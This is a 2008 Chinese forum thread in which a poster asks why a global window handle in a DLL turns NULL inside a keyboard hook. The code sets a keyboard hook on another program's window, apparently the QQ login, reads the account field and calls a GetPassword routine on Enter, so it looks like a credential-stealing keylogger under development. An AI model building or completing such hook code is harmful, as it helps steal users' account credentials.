DLL中的全局变量问题

moruoli 2008-07-15 05:12:52
#include <windows.h>

HHOOK g_hKeyboard = NULL;
HINSTANCE g_hInst;
HWND g_hNum;
BOOL WINAPI DllMain(
HINSTANCE hinstDLL, // handle to DLL module
DWORD fdwReason, // reason for calling function
LPVOID lpvReserved // reserved
)
{
g_hInst = hinstDLL;
return true;
}
void GetNum()
{
char num[13];
memset(&num,0,sizeof(num));
::SendMessage(g_hNum,WM_GETTEXT,13,(LPARAM)num);
MessageBox(NULL,num,"hao",0);

}

LRESULT CALLBACK KeyboardProc(
int code, // hook code
WPARAM wParam, // virtual-key code
LPARAM lParam // keystroke-message information
)
{

if(wParam == VK_F12) //// 如果按下F12 得到g_hNum==NULL
// GetNum();
{
char num[13];
memset(&num,0,13*sizeof(char));
if(g_hNum==NULL)
{
MessageBox(NULL,"g_hNum========NULL","error",0);
}
::SendMessage(g_hNum,WM_GETTEXT,13,(LPARAM)num);
MessageBox(NULL,num,"hao",0);
}


if(wParam == VK_RETURN)
GetPassword();
return CallNextHookEx(g_hKeyboard,code,wParam,lParam);
}


void SetHook(HWND hQQHook)
{
if(hQQHook != NULL)
{
DWORD dwThreadID = GetWindowThreadProcessId(hQQHook,NULL);
if(dwThreadID == NULL)
{
MessageBox(NULL,"dwThreadID==NULL","error",0);
return;
}
g_hNum = GetDlgItem(hQQHook,1000);
if(NULL == g_hNum)
{
MessageBox(NULL,"g_hNum==NULL","error",0);
return;
}
// GetNum();
g_hKeyboard = SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,g_hInst,dwThreadID);
}
else
{
UnhookWindowsHookEx(g_hKeyboard);
g_hKeyboard = NULL;
}

}


这是我写的一个DLL中的代码,获取另一个程序的文本

全局句柄 HWND g_hNum; 为什么到键盘钩子函数KeyboardProc()或GetNum()中g_hNum变为NULL?
在安装钩子函数SetHook()中已经得到g_hNum != NULL
...全文
58 3 打赏 收藏 转发到动态 举报
写回复
用AI写文章
3 条回复
切换为时间正序
请发表友善的回复…
发表回复
moruoli 2008-07-15
  • 打赏
  • 举报
回复
已经解决 加上共享就ok啦
moruoli 2008-07-15
  • 打赏
  • 举报
回复
[Quote=引用 1 楼 my_girlf 的回复:]
GetDlgItem(hQQHook,0);
[/Quote]

GetDlgItem(hQQHook,1000); //// 1000 是一个下拉列表的ID号,要获取这个控件的文本
my_girlf 2008-07-15
  • 打赏
  • 举报
回复
GetDlgItem(hQQHook,0);

15,471

社区成员

发帖
与我相关
我的任务
社区描述
VC/MFC 进程/线程/DLL
社区管理员
  • 进程/线程/DLL社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧